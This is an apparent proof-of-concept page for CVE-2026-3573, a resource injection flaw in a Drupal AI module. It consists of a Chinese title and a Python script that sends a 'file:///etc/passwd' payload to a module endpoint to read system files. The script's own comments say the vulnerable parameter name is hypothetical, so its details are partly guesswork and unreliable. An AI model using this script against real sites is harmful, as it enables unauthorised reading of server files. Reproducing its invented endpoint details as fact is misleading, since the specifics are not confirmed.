CVE-2026-3573 Drupal AI模块资源注入漏洞

import requests # POC for CVE-2026-3573: Resource Injection in Drupal AI # This script attempts to inject a resource identifier to exploit incorrect authorization. TARGET_URL = "http://[TARGET]/drupal/modules/ai/api/endpoint" # Attempting to inject a local file path as a resource # The parameter name 'resource' is hypothetical and represents the vulnerable input field payload = { "prompt": "test", "resource": "file:///etc/passwd" } try: print(f"Sending request to {TARGET_URL}...") response = requests.post(TARGET_URL, data=payload, timeout=10) if response.status_code == 200: print("[+] Potential exploitation successful!") print("[+] Response content:") print(response.text[:200]) # Print first 200 chars to check for file content else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}")